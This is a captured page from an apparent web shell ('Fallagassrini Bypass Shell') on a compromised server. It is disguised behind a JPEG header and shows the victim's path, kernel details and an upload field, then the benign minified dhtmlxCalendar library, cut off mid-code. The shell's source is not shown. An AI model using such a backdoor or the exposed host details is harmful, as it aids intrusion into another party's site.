JFIF;CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), quality = 85 C  !"$"$C$^" }!1AQa"q2#BR$3br %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz w!1AQaq"2B #3Rbr $4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz ? C^",k8`98?þ. s$ֱ$Xw_Z¿2b978%Q}s\ŴqXxzK1\@N2<JY{lF/Z=N[xrB}FJۨ<yǽw 5o۹^s(!fF*zn5`Z}Ҋ">Ir{_+<$$C_UC)^r25d:(c⣕U .fpSnFe\Ӱ.չ8# m=8iO^)R=^*_:M3x8k>(yDNYҵ/v-]WZ}h[*'ym&e`Xg>%̲yk߆՞Kwwrd󞼎 r;M<[AC¤ozʪ+h%BJcd`*ǎVz%6}G;mcՊ~b_aaiiE4jPLU<Ɗvg?q~!vc DpA/m|=-nux^Hޔ|mt&^ 唉KH?񯣾 ^]G\4#r qRRGV!i~眦]Ay6O#gm&;UV BH ~Y8( J4{U| 14%v0?6#{t񦊊#+{E8v??c9R]^Q,h#i[Y'Š+xY佑VR{ec1%|]p=Vԡʺ9rOZY L(^*;O'ƑYxQdݵq~5_uk{yH$HZ(3 )~G Fallagassrini

Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /home/easwari/www/codebase/

Linux 141.162.178.68.host.secureserver.net 3.10.0-1160.114.2.el7.x86_64 #1 SMP Wed Mar 20 15:54:52 UTC 2024 x86_64
Upload File :
Current File : /home/easwari/www/codebase/calendar.min.js

/*
@license

dhtmlxCalendar v.6.3.1 GPL

This software is covered by GPL license.
To use it in non-GPL project, you need obtain Commercial or Enterprise license
Please contact sales@dhtmlx.com. Usage without proper license is prohibited.
(c) XB Software.

*/
if(window.dhx&&(window.dhx_legacy=dhx,delete window.dhx),function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define([],t):"object"==typeof exports?exports.dhx=t():e.dhx=t()}(window,function(){return function(e){var t={};function n(i){if(t[i])return t[i].exports;var r=t[i]={i:i,l:!1,exports:{}};return e[i].call(r.exports,r,r.exports,n),r.l=!0,r.exports}return n.m=e,n.c=t,n.d=function(e,t,i){n.o(e,t)||Object.defineProperty(e,t,{enumerable:!0,get:i})},n.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},n.t=function(e,t){if(1&t&&(e=n(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var i=Object.create(null);if(n.r(i),Object.defineProperty(i,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var r in e)n.d(i,r,function(t){return e[t]}.bind(null,r));return i},n.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return n.d(t,"a",t),t},n.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},n.p="/codebase/",n(n.s=17)}([function(e,t,n){"use strict";Object.defineProperty(t,"__esModule",{value:!0});var i=n(1),r=(new Date).valueOf();t.uid=function(){return"u"+r++},t.extend=function e(t,n,i){if(void 0===i&&(i=!0),n)for(var r in n){var o=n[r],a=t[r];!i||"object"!=typeof a||a instanceof Date||a instanceof Array?t[r]=o:e(a,o)}return t},t.copy=function(e,t){var n={};for(var i in e)t&&"$"===i[0]||(n[i]=e[i]);return n},t.naturalSort=function(e){return e.sort(function(e,t){return"string"==typeof e?e.localeCompare(t):e-t})},t.findIndex=function(e,t){for(var n=e.length,i=0;i<n;i++)if(t(e[i]))return i;return-1},t.isEqualString=function(e,t){if(e.length>t.length)return!1;for(var n=0;n<e.length;n++)if(e[n].toLowerCase()!==t[n].toLowerCase())return!1;return!0},t.singleOuterClick=function(e){var t=function(n){e(n)&&document.removeEventListener("click",t)};document.addEventListener("click",t)},t.detectWidgetClick=function(e,t){var n=function(n){return t(i.locate(n,"dhx_widget_id")===e)};return document.addEventListener("click",n),function(){return document.removeEventListener("click",n)}},t.unwrapBox=function(e){return Array.isArray(e)?e[0]:e},t.wrapBox=function(e){return Array.isArray(e)?e:[e]},t.isDefined=function(e){return null!==e&&void 0!==e},t.range=function(e,t){if(e>t)return[];for(var n=[];e<=t;)n.push(e++);return n},t.isNumeric=function(e){return!isNaN(e-parseFloat(e))},t.downloadFile=function(e,t,n){void 0===n&&(n="text/plain");var i=new Blob([e],{type:n});if(window.navigator.msSaveOrOpenBlob)window.navigator.msSaveOrOpenBlob(i,t);else{var r=document.createElement("a"),o=URL.createObjectURL(i);r.href=o,r.download=t,document.body.appendChild(r),r.click(),setTimeout(function(){document.body.removeChild(r),window.URL.revokeObjectURL(o)},0)}}},function(e,t,n){"use strict";var i=this&&this.__assign||function(){return(i=Object.assign||function(e){for(var t,n=1,i=arguments.length;n<i;n++)for(var r in t=arguments[n])Object.prototype.hasOwnProperty.call(t,r)&&(e[r]=t[r]);return e}).apply(this,arguments)};function r(e,t,n){for(void 0===t&&(t="dhx_id"),void 0===n&&(n="target"),e instanceof Event&&(e=e[n]);e;){if(e.getAttribute&&e.getAttribute(t))return e;e=e.parentNode}}Object.defineProperty(t,"__esModule",{value:!0}),n(21),t.toNode=function(e){return"string"==typeof e&&(e=document.getElementById(e)||document.querySelector(e)),e||document.body},t.eventHandler=function(e,t){var n=Object.keys(t);return function(i){for(var r=e(i),o=i.target;o;){var a=o.getAttribute&&o.getAttribute("class")||"";if(a.length)for(var s=a.split(" "),l=0;l<n.length;l++)if(s.indexOf(n[l])>-1)return t[n[l]](i,r);o=o.parentNode}return!0}},t.locate=function(e,t){void 0===t&&(t="dhx_id");var n=r(e,t);return n?n.getAttribute(t):""},t.locateNode=r,t.getBox=function(e){var t=e.getBoundingClientRect(),n=document.body,i=window.pageYOffset||n.scrollTop,r=window.pageXOffset||n.scrollLeft;return{top:t.top+i,left:t.left+r,right:n.offsetWidth-t.right,bottom:n.offsetHeight-t.bottom,width:t.right-t.left,height:t.bottom-t.top}};var o,a=-1;function s(e){var t=e.getBoundingClientRect();return{left:t.left+window.pageXOffset,right:t.right+window.pageXOffset,top:t.top+window.pageYOffset,bottom:t.bottom+window.pageYOffset}}function l(e,t){var n=t.mode===o.bottom||t.mode===o.top?c(e,t):d(e,t),i=n.left,r=n.top;return{left:Math.round(i)+"px",top:Math.round(r)+"px",minWidth:Math.round(t.width)+"px",position:"absolute"}}function u(){return{rightBorder:window.pageXOffset+window.innerWidth,bottomBorder:window.pageYOffset+window.innerHeight}}function c(e,t){var n,r,a=u(),s=a.rightBorder,l=a.bottomBorder-e.bottom-t.height,c=e.top-t.height;if(t.mode===o.bottom?l>=0?r=e.bottom:c>=0&&(r=c):c>=0?r=c:l>=0&&(r=e.bottom),l<0&&c<0){if(t.auto)return d(e,i({},t,{mode:o.right,auto:!1}));r=l>c?e.bottom:c}if(t.centering)n=function(e,t,n){var i=(t-(e.right-e.left))/2,r=e.left-i,o=e.right+i;return r>=0&&o<=n?r:r<0?0:n-t}(e,t.width,s);else{var f=s-e.left-t.width,h=e.right-t.width;n=f>=0?e.left:h>=0?h:h>f?e.left:h}return{left:n,top:r}}function d(e,t){var n,r,a=u(),s=a.rightBorder,l=a.bottomBorder,d=s-e.right-t.width,f=e.left-t.width;if(t.mode===o.right?d>=0?n=e.right:f>=0&&(n=f):f>=0?n=f:d>=0&&(n=e.right),f<0&&d<0){if(t.auto)return c(e,i({},t,{mode:o.bottom,auto:!1}));n=f>d?f:e.right}if(t.centering)r=function(e,t,n){var i=(t-(e.bottom-e.top))/2,r=e.top-i,o=e.bottom+i;return r>=0&&o<=n?r:r<0?0:n-t}(e,t.height,s);else{var h=e.bottom-t.height,p=l-e.top-t.height;r=p>=0?e.top:h>0?h:h>p?h:e.top}return{left:n,top:r}}t.getScrollbarWidth=function(){if(a>-1)return a;var e=document.createElement("div");return document.body.appendChild(e),e.style.cssText="position: absolute;left: -99999px;overflow:scroll;width: 100px;height: 100px;",a=e.offsetWidth-e.clientWidth,document.body.removeChild(e),a},t.fitPosition=function(e,t){return l(s(e),t)},t.isIE=function(){var e=window.navigator.userAgent;return e.indexOf("MSIE ")>-1||e.indexOf("Trident/")>-1},t.getRealPosition=s,function(e){e.left="left",e.right="right",e.bottom="bottom",e.top="top"}(o=t.Position||(t.Position={})),t.calculatePosition=l},function(e,t,n){"use strict";(function(e){Object.defineProperty(t,"__esModule",{value:!0});var i=n(29);function r(e){var n=window.ResizeObserver,i=function(t){var n=t.el.offsetHeight,i=t.el.offsetWidth;e(i,n)};return n?t.el("div.dhx-resize-observer",{_hooks:{didInsert:function(e){new n(function(){return i(e)}).observe(e.el)}}}):t.el("iframe.dhx-resize-observer",{_hooks:{didInsert:function(e){e.el.contentWindow.onresize=function(){return i(e)},i(e)}}})}t.el=i.defineElement,t.sv=i.defineSvgElement,t.view=i.defineView,t.create=i.createView,t.inject=i.injectView,t.KEYED_LIST=i.KEYED_LIST,t.disableHelp=function(){i.DEVMODE.mutations=!1,i.DEVMODE.warnings=!1,i.DEVMODE.verbose=!1,i.DEVMODE.UNKEYED_INPUT=!1},t.resizer=r,t.resizeHandler=function(e,n){return t.create({render:function(){return r(n)}}).mount(e)},t.awaitRedraw=function(){return new e(function(e){requestAnimationFrame(function(){e()})})}}).call(this,n(7))},function(e,t,n){"use strict";Object.defineProperty(t,"__esModule",{value:!0});var i=function(){function e(e){this.events={},this.context=e||this}return e.prototype.on=function(e,t,n){var i=e.toLowerCase();this.events[i]=this.events[i]||[],this.events[i].push({callback:t,context:n||this.context})},e.prototype.detach=function(e,t){var n=e.toLowerCase(),i=this.events[n];if(t&&i&&i.length)for(var r=i.length-1;r>=0;r--)i[r].context===t&&i.splice(r,1);else this.events[n]=[]},e.prototype.fire=function(e,t){void 0===t&&(t=[]);var n=e.toLowerCase();return!this.events[n]||this.events[n].map(function(e){return e.callback.apply(e.context,t)}).indexOf(!1)<0},e.prototype.clear=function(){this.events={}},e}();t.EventSystem=i,t.EventsMixin=function(e){var t=new i(e=e||{});e.detachEvent=t.detach.bind(t),e.attachEvent=t.on.bind(t),e.callEvent=t.fire.bind(t)}},function(e,t,n){"use strict";Object.defineProperty(t,"__esModule",{value:!0});var i=n(0),r=n(1),o=function(){function e(e,t){this._uid=i.uid(),this.config=t||{}}return e.prototype.mount=function(e,t){t&&(this._view=t),e&&this._view&&this._view.mount&&(this._container=r.toNode(e),this._container.tagName?this._view.mount(this._container):this._container.attach&&this._container.attach(this))},e.prototype.unmount=function(){var e=this.getRootView();e&&e.node&&(e.unmount(),this._view=null)},e.prototype.getRootView=function(){return this._view},e.prototype.getRootNode=function(){return this._view&&this._view.node&&this._view.node.el},e.prototype.paint=function(){this._view&&(this._view.node||this._container)&&(this._doNotRepaint=!1,this._view.redraw())},e}();t.View=o,t.toViewLike=function(e){return{getRootView:function(){return e},paint:function(){return e.node&&e.redraw()},mount:function(t){return e.mount(t)}}}},function(e,t,n){"use strict";Object.defineProperty(t,"__esModule",{value:!0}),function(e){e.beforeShow="beforeShow",e.afterShow="afterShow",e.beforeHide="beforeHide",e.afterHide="afterHide",e.beforeResizeStart="beforeResizeStart",e.resize="resize",e.afterResizeEnd="afterResizeEnd",e.beforeAdd="beforeAdd",e.afterAdd="afterAdd",e.beforeRemove="beforeRemove",e.afterRemove="afterRemove",e.beforeCollapse="beforeCollapse",e.afterCollapse="afterCollapse"}(t.LayoutEvents||(t.LayoutEvents={})),function(e){e[e.unknown=0]="unknown",e[e.percents=1]="percents",e[e.pixels=2]="pixels",e[e.mixedpx1=3]="mixedpx1",e[e.mixedpx2=4]="mixedpx2",e[e.mixedperc1=5]="mixedperc1",e[e.mixedperc2=6]="mixedperc2"}(t.resizeMode||(t.resizeMode={}))},function(e,t,n){"use strict";Object.defineProperty(t,"__esModule",{value:!0}),function(e){e.left="left",e.right="right",e.top="top",e.bottom="bottom",e.center="center"}(t.RealPosition||(t.RealPosition={})),function(e){e.right="right",e.bottom="bottom",e.center="center"}(t.Position||(t.Position={})),function(e){e.topLeft="top-left",e.topRight="top-right",e.bottomLeft="bottom-left",e.bottomRight="bottom-right"}(t.MessageContainerPosition||(t.MessageContainerPosition={}))},function(e,t,n){(function(t,n){!function(){var i=1,r={},o=!1;function a(e){t.setImmediate?n(e):t.importScripts?setTimeout(e):(r[++i]=e,t.postMessage(i,"*"))}function s(e){"use strict";if("function"!=typeof e&&void 0!=e)throw TypeError();if("object"!=typeof this||this&&this.then)throw TypeError();var t,n,i=this,r=0,o=0,l=[];i.promise=i,i.resolve=function(e){return t=i.fn,n=i.er,r||(o=e,r=1,a(d)),i},i.reject=function(e){return t=i.fn,n=i.er,r||(o=e,r=2,a(d)),i},i._d=1,i.then=function(e,t){if(1!=this._d)throw TypeError();var n=new s;return n.fn=e,n.er=t,3==r?n.resolve(o):4==r?n.reject(o):l.push(n),n},i.catch=function(e){return i.then(null,e)};var u=function(e){r=e||4,l.map(function(e){3==r&&e.resolve(o)||e.reject(o)})};try{"function"==typeof e&&e(i.resolve,i.reject)}catch(e){i.reject(e)}return i;function c(e,t,n,i){if(2==r)return i();if("object"!=typeof o&&"function"!=typeof o||"function"!=typeof e)i();else try{var a=0;e.call(o,function(e){a++||(o=e,t())},function(e){a++||(o=e,n())})}catch(e){o=e,n()}}function d(){var e;try{e=o&&o.then}catch(e){return o=e,r=2,d()}c(e,function(){r=1,d()},function(){r=2,d()},function(){try{1==r&&"function"==typeof t?o=t(o):2==r&&"function"==typeof n&&(o=n(o),r=1)}catch(e){return o=e,u()}o==i?(o=TypeError(),u()):c(e,function(){u(3)},u,function(){u(1==r&&3)})})}}(t=this).setImmediate||t.addEventListener("message",function(e){if(e.source==t)if(o)a(r[e.data]);else{o=!0;try{r[e.data]()}catch(e){}delete r[e.data],o=!1}}),s.resolve=function(e){if(1!=this._d)throw TypeError();return e instanceof s?e:new s(function(t){t(e)})},s.reject=function(e){if(1!=this._d)throw TypeError();return new s(function(t,n){n(e)})},s.all=function(e){if(1!=this._d)throw TypeError();if(!(e instanceof Array))return s.reject(TypeError());var t=new s;return function n(i,r){return r?t.resolve(r):i?t.reject(i):(0==e.reduce(function(e,t){return t&&t.then?e+1:e},0)&&t.resolve(e),void e.map(function(t,i){t&&t.then&&t.then(function(t){return e[i]=t,n(),t},n)}))}(),t},s.race=function(e){if(1!=this._d)throw TypeError();if(!(e instanceof Array))return s.reject(TypeError());if(0==e.length)return new s;var t=new s;return function n(i,r){return r?t.resolve(r):i?t.reject(i):(0==e.reduce(function(e,t){return t&&t.then?e+1:e},0)&&t.resolve(e),void e.map(function(e,t){e&&e.then&&e.then(function(e){n(null,e)},n)}))}(),t},s._d=1,e.exports=s}()}).call(this,n(8),n(23).setImmediate)},function(e,t){var n;n=function(){return this}();try{n=n||new Function("return this")()}catch(e){"object"==typeof window&&(n=window)}e.exports=n},function(e,t,n){"use strict";Object.defineProperty(t,"__esModule",{value:!0});t.default={monthsShort:["Jan","Feb","Mar","Apr","May","Jun","Jul","Aug","Sep","Oct","Nov","Dec"],months:["January","February","March","April","May","June","July","August","September","October","November","December"],daysShort:["Sun","Mon","Tue","Wed","Thu","Fri","Sat"],days:["Sunday","Monday","Tuesday","Wednesday","Thursday","Friday","Saturday","Monday"],cancel:"Cancel"}},function(e,t,n){"use strict";Object.defineProperty(t,"__esModule",{value:!0});t.default={apply:"apply",reject:"reject"}},function(e,t,n){"use strict";function i(e){var t=document.activeElement;t.classList.contains("dhx_alert__confirm-reject")||t.classList.contains("dhx_alert__confirm-aply")||e.preventDefault()}Object.defineProperty(t,"__esModule",{value:!0}),t.blockScreen=function(e){var t=document.createElement("div");return t.className="dhx_alert__overlay "+(e||""),document.body.appendChild(t),document.addEventListener("keydown",i),function(){document.body.removeChild(t),document.removeEventListener("keydown",i)}}},function(e,t,n){"use strict";function i(e){for(var n in e)t.hasOwnProperty(n)||(t[n]=e[n])}Object.defineProperty(t,"__esModule",{value:!0}),i(n(28)),i(n(13))},function(e,t,n){"use strict";Object.defineProperty(t,"__esModule",{value:!0}),function(e){e.beforeHide="beforeHide",e.beforeShow="beforeShow",e.afterHide="afterHide",e.afterShow="afterShow",e.click="click"}(t.PopupEvents||(t.PopupEvents={}))},function(e,t,n){"use strict";Object.defineProperty(t,"__esModule",{value:!0}),function(e){e.vertical="vertical",e.horizontal="horizontal"}(t.Direction||(t.Direction={})),function(e){e.change="change",e.mousedown="mousedown",e.mouseup="mouseup"}(t.SliderEvents||(t.SliderEvents={}))},function(e,t,n){"use strict";Object.defineProperty(t,"__esModule",{value:!0}),function(e){e.change="change",e.save="save",e.close="close"}(t.TimepickerEvents||(t.TimepickerEvents={}))},function(e,t,n){"use strict";Object.defineProperty(t,"__esModule",{value:!0});var i,r=n(9),o=n(0),a={"%d":function(e){var t=e.getDate();return t<10?"0"+t:t},"%j":function(e){return e.getDate()},"%l":function(e){return r.default.days[e.getDay()]},"%D":function(e){return r.default.daysShort[e.getDay()]},"%m":function(e){var t=e.getMonth()+1;return t<10?"0"+t:t},"%n":function(e){return e.getMonth()+1},"%M":function(e){return r.default.monthsShort[e.getMonth()]},"%F":function(e){return r.default.months[e.getMonth()]},"%y":function(e){return e.getFullYear().toString().slice(2)},"%Y":function(e){return e.getFullYear()},"%h":function(e){var t=e.getHours()%12;return 0===t&&(t=12),t<10?"0"+t:t},"%g":function(e){var t=e.getHours()%12;return 0===t&&(t=12),t},"%H":function(e){var t=e.getHours();return t<10?"0"+t:t},"%G":function(e){return e.getHours()},"%i":function(e){var t=e.getMinutes();return t<10?"0"+t:t},"%s":function(e){var t=e.getSeconds();return t<10?"0"+t:t},"%a":function(e){return e.getHours()>=12?"pm":"am"},"%A":function(e){return e.getHours()>=12?"PM":"AM"},"%u":function(e){return e.getMilliseconds()}},s={"%d":function(e,t){/(^([0-9][0-9])$)/i.test(t)?e.setDate(Number(t)):e.setDate(Number(1))},"%j":function(e,t){/(^([0-9]?[0-9])$)/i.test(t)?e.setDate(Number(t)):e.setDate(Number(1))},"%m":function(e,t){/(^([0-9][0-9])$)/i.test(t)?e.setMonth(Number(t)-1):e.setMonth(Number(0))},"%n":function(e,t){/(^([0-9]?[0-9])$)/i.test(t)?e.setMonth(Number(t)-1):e.setMonth(Number(0))},"%M":function(e,t){var n=o.findIndex(r.default.monthsShort,function(e){return e===t});-1===n?e.setMonth(0):e.setMonth(n)},"%F":function(e,t){var n=o.findIndex(r.default.months,function(e){return e===t});-1===n?e.setMonth(0):e.setMonth(n)},"%y":function(e,t){/(^([0-9][0-9])$)/i.test(t)?e.setFullYear(Number("20"+t)):e.setFullYear(Number("2000"))},"%Y":function(e,t){/(^([0-9][0-9][0-9][0-9])$)/i.test(t)?e.setFullYear(Number(t)):e.setFullYear(Number("2000"))},"%h":function(e,t,n){/(^0[1-9]|1[0-2]$)/i.test(t)&&"pm"===n||"PM"===n?e.setHours(Number(t)):e.setHours(Number(0))},"%g":function(e,t,n){/(^[1-9]$)|(^0[1-9]|1[0-2]$)/i.test(t)&&"pm"===n||"PM"===n?e.setHours(Number(t)):e.setHours(Number(0))},"%H":function(e,t){/(^[0-9][0-3]$)/i.test(t)?e.setHours(Number(t)):e.setHours(Number(0))},"%G":function(e,t){/(^([0-9]$)|[0-9][0-3]$)/i.test(t)?e.setHours(Number(t)):e.setHours(Number(0))},"%i":function(e,t){/(^([0-5][0-9])$)/i.test(t)?e.setMinutes(Number(t)):e.setMinutes(Number(0))},"%s":function(e,t){/(^([0-5][0-9])$)/i.test(t)?e.setSeconds(Number(t)):e.setSeconds(Number(0))},"%a":function(e,t){"pm"===t&&e.setHours(e.getHours()+12)},"%A":function(e,t){"PM"===t&&e.setHours(e.getHours()+12)}};function l(e){for(var t=[],n="",r=0;r<e.length;r++)"%"===e[r]?(n.length>0&&(t.push({type:i.separator,value:n}),n=""),t.push({type:i.datePart,value:e[r]+e[r+1]}),r++):n+=e[r];return n.length>0&&t.push({type:i.separator,value:n}),t}t.getFormatedDate=function(e,t){return l(e).reduce(function(e,n){return n.type===i.separator?e+n.value:a[n.value]?e+a[n.value](t):e},"")},function(e){e[e.separator=0]="separator",e[e.datePart=1]="datePart"}(i||(i={})),t.stringToDate=function(e,t,n){if("string"==typeof e){for(var r,o=[],a=0,u=null,c=0,d=l(t);c<d.length;c++){var f=d[c];if(f.type===i.separator){var h=e.indexOf(f.value,a);if(-1===h){if(n)return!1;throw new Error("Incorrect date, see docs: https://docs.dhtmlx.com/suite/calendar__api__calendar_dateformat_config.html")}u&&(o.push({formatter:u,value:e.slice(a,h)}),u=null),a=h+f.value.length}else f.type===i.datePart&&(u=f.value)}u&&o.push({formatter:u,value:e.slice(a)}),o.reverse();for(var p=0,_=o;p<_.length;p++)"%A"!==(y=_[p]).formatter&&"%a"!==y.formatter||(r=y.value);for(var v=new Date,g=0,m=o;g<m.length;g++){var y=m[g];s[y.formatter]&&s[y.formatter](v,y.value,r)}return!!n||v}}},function(e,t,n){"use strict";Object.defineProperty(t,"__esModule",{value:!0}),n(18);var i=n(19);t.tooltip=i.tooltip;var r=n(12);t.Popup=r.Popup;var o=n(30);t.Calendar=o.Calendar;var a=n(9),s=window;t.i18n=s.dhx&&s.dhx.i18n?s.dhx.i18:{},t.i18n.setLocale=function(e,n){var i=t.i18n[e];for(var r in n)i[r]=n[r]},t.i18n.calendar=t.i18n.calendar||a.default},function(e,t,n){},function(e,t,n){"use strict";function i(e){for(var n in e)t.hasOwnProperty(n)||(t[n]=e[n])}Object.defineProperty(t,"__esModule",{value:!0}),i(n(20)),i(n(22)),i(n(26)),i(n(27)),i(n(6))},function(e,t,n){"use strict";Object.defineProperty(t,"__esModule",{value:!0});var i=n(1),r=n(6),o=new WeakMap,a=new Map;function s(e,t){t&&clearTimeout(o.get(e));var n=e.parentNode,i=n.getAttribute("data-position"),r=n.parentNode,s=a.get(r);if(s){var l=s[i];if(l){var u=l.stack,c=u.indexOf(e);return-1!==c?(n.removeChild(e),u.splice(c,1),void(0===u.length&&r.removeChild(n))):void 0}}}function l(e,t){var n=document.createElement("div");return n.setAttribute("data-position",t),n.className="dhx_message-container dhx_message-container--"+t+(e===document.body?" dhx_message-container--in-body":""),n}t.message=function(e){var t;"string"==typeof e&&(e={text:e}),e.position=e.position||r.MessageContainerPosition.topRight;var n=document.createElement("div");n.className="dhx_widget dhx_message "+(e.css||""),e.html?n.innerHTML=e.html:n.innerHTML='<span class="dhx_message__text">'+e.text+"</span>\n\t\t"+(e.icon?'<span class="dhx_message__icon dxi '+e.icon+'"></span>':"");var u=e.node?i.toNode(e.node):document.body;"static"===getComputedStyle(u).position&&(u.style.position="relative");var c=a.get(u);c?c[e.position]||(c[e.position]={stack:[],container:l(u,e.position)}):a.set(u,((t={})[e.position]={stack:[],container:l(u,e.position)},t));var d=a.get(u)[e.position],f=d.stack,h=d.container;if(0===f.length&&u.appendChild(h),f.push(n),h.appendChild(n),e.expire){var p=setTimeout(function(){return s(n)},e.expire);o.set(n,p)}n.onclick=function(){return s(n,!0)}}},function(e,t){if(Element&&!Element.prototype.matches){var n=Element.prototype;n.matches=n.matchesSelector||n.mozMatchesSelector||n.msMatchesSelector||n.oMatchesSelector||n.webkitMatchesSelector}},function(e,t,n){"use strict";(function(e){Object.defineProperty(t,"__esModule",{value:!0});var i=n(10),r=n(11);t.alert=function(t){var n=t.buttons&&t.buttons[0]?t.buttons[0]:i.default.apply,o=r.blockScreen(t.blockerCss);return new e(function(e){var i=document.createElement("div");i.className="dhx_widget dhx_alert "+(t.css||""),i.innerHTML="\n\t\t\t"+(t.header?'<div class="dhx_alert__header"> '+t.header+" </div>":"")+"\n\t\t\t"+(t.text?'<div class="dhx_alert__content">'+t.text+"</div>":"")+'\n\t\t\t<div class="dhx_alert__footer '+(t.buttonsAlignment?"dhx_alert__footer--"+t.buttonsAlignment:"")+'">\n\t\t\t\t<button class="dhx_alert__apply-button dhx_button dhx_button--view_flat dhx_button--color_primary dhx_button--size_medium">'+n+"</button>\n\t\t\t</div>",document.body.appendChild(i),i.querySelector(".dhx_alert__apply-button").focus(),i.querySelector("button").addEventListener("click",function(){o(),document.body.removeChild(i),e(!0)})})}}).call(this,n(7))},function(e,t,n){(function(e){var i=void 0!==e&&e||"undefined"!=typeof self&&self||window,r=Function.prototype.apply;function o(e,t){this._id=e,this._clearFn=t}t.setTimeout=function(){return new o(r.call(setTimeout,i,arguments),clearTimeout)},t.setInterval=function(){return new o(r.call(setInterval,i,arguments),clearInterval)},t.clearTimeout=t.clearInterval=function(e){e&&e.close()},o.prototype.unref=o.prototype.ref=function(){},o.prototype.close=function(){this._clearFn.call(i,this._id)},t.enroll=function(e,t){clearTimeout(e._idleTimeoutId),e._idleTimeout=t},t.unenroll=function(e){clearTimeout(e._idleTimeoutId),e._idleTimeout=-1},t._unrefActive=t.active=function(e){clearTimeout(e._idleTimeoutId);var t=e._idleTimeout;t>=0&&(e._idleTimeoutId=setTimeout(function(){e._onTimeout&&e._onTimeout()},t))},n(24),t.setImmediate="undefined"!=typeof self&&self.setImmediate||void 0!==e&&e.setImmediate||this&&this.setImmediate,t.clearImmediate="undefined"!=typeof self&&self.clearImmediate||void 0!==e&&e.clearImmediate||this&&this.clearImmediate}).call(this,n(8))},function(e,t,n){(function(e,t){!function(e,n){"use strict";if(!e.setImmediate){var i,r=1,o={},a=!1,s=e.document,l=Object.getPrototypeOf&&Object.getPrototypeOf(e);l=l&&l.setTimeout?l:e,"[object process]"==={}.toString.call(e.process)?i=function(e){t.nextTick(function(){c(e)})}:function(){if(e.postMessage&&!e.importScripts){var t=!0,n=e.onmessage;return e.onmessage=function(){t=!1},e.postMessage("","*"),e.onmessage=n,t}}()?function(){var t="setImmediate$"+Math.random()+"$",n=function(n){n.source===e&&"string"==typeof n.data&&0===n.data.indexOf(t)&&c(+n.data.slice(t.length))};e.addEventListener?e.addEventListener("message",n,!1):e.attachEvent("onmessage",n),i=function(n){e.postMessage(t+n,"*")}}():e.MessageChannel?function(){var e=new MessageChannel;e.port1.onmessage=function(e){c(e.data)},i=function(t){e.port2.postMessage(t)}}():s&&"onreadystatechange"in s.createElement("script")?function(){var e=s.documentElement;i=function(t){var n=s.createElement("script");n.onreadystatechange=function(){c(t),n.onreadystatechange=null,e.removeChild(n),n=null},e.appendChild(n)}}():i=function(e){setTimeout(c,0,e)},l.setImmediate=function(e){"function"!=typeof e&&(e=new Function(""+e));for(var t=new Array(arguments.length-1),n=0;n<t.length;n++)t[n]=arguments[n+1];var a={callback:e,args:t};return o[r]=a,i(r),r++},l.clearImmediate=u}function u(e){delete o[e]}function c(e){if(a)setTimeout(c,0,e);else{var t=o[e];if(t){a=!0;try{!function(e){var t=e.callback,i=e.args;switch(i.length){case 0:t();break;case 1:t(i[0]);break;case 2:t(i[0],i[1]);break;case 3:t(i[0],i[1],i[2]);break;default:t.apply(n,i)}}(t)}finally{u(e),a=!1}}}}}("undefined"==typeof self?void 0===e?this:e:self)}).call(this,n(8),n(25))},function(e,t){var n,i,r=e.exports={};function o(){throw new Error("setTimeout has not been defined")}function a(){throw new Error("clearTimeout has not been defined")}function s(e){if(n===setTimeout)return setTimeout(e,0);if((n===o||!n)&&setTimeout)return n=setTimeout,setTimeout(e,0);try{return n(e,0)}catch(t){try{return n.call(null,e,0)}catch(t){return n.call(this,e,0)}}}!function(){try{n="function"==typeof setTimeout?setTimeout:o}catch(e){n=o}try{i="function"==typeof clearTimeout?clearTimeout:a}catch(e){i=a}}();var l,u=[],c=!1,d=-1;function f(){c&&l&&(c=!1,l.length?u=l.concat(u):d=-1,u.length&&h())}function h(){if(!c){var e=s(f);c=!0;for(var t=u.length;t;){for(l=u,u=[];++d<t;)l&&l[d].run();d=-1,t=u.length}l=null,c=!1,function(e){if(i===clearTimeout)return clearTimeout(e);if((i===a||!i)&&clearTimeout)return i=clearTimeout,clearTimeout(e);try{i(e)}catch(t){try{return i.call(null,e)}catch(t){return i.call(this,e)}}}(e)}}function p(e,t){this.fun=e,this.array=t}function _(){}r.nextTick=function(e){var t=new Array(arguments.length-1);if(arguments.length>1)for(var n=1;n<arguments.length;n++)t[n-1]=arguments[n];u.push(new p(e,t)),1!==u.length||c||s(h)},p.prototype.run=function(){this.fun.apply(null,this.array)},r.title="browser",r.browser=!0,r.env={},r.argv=[],r.version="",r.versions={},r.on=_,r.addListener=_,r.once=_,r.off=_,r.removeListener=_,r.removeAllListeners=_,r.emit=_,r.prependListener=_,r.prependOnceListener=_,r.listeners=function(e){return[]},r.binding=function(e){throw new Error("process.binding is not supported")},r.cwd=function(){return"/"},r.chdir=function(e){throw new Error("process.chdir is not supported")},r.umask=function(){return 0}},function(e,t,n){"use strict";(function(e){Object.defineProperty(t,"__esModule",{value:!0});var i=n(10),r=n(11);t.confirm=function(t){var n=t.buttons&&t.buttons[0]?t.buttons[0]:i.default.apply,o=t.buttons&&t.buttons[1]?t.buttons[1]:i.default.reject,a=r.blockScreen(t.blockerCss);return new e(function(e){var i=document.createElement("div");i.className="dhx_widget dhx_alert dhx_alert--confirm"+(t.css?" "+t.css:""),i.innerHTML="\n\t\t"+(t.header?'<div class="dhx_alert__header"> '+t.header+" </div>":"")+"\n\t\t"+(t.text?'<div class="dhx_alert__content">'+t.text+"</div>":"")+'\n\t\t\t<div class="dhx_alert__footer '+(t.buttonsAlignment?"dhx_alert__footer--"+t.buttonsAlignment:"")+'">\n\t\t\t\t<button class="dhx_alert__confirm-aply dhx_button dhx_button--view_link dhx_button--color_primary dhx_button--size_medium">'+n+'</button>\n\t\t\t\t<button class="dhx_alert__confirm-reject dhx_button dhx_button--view_flat dhx_button--color_primary 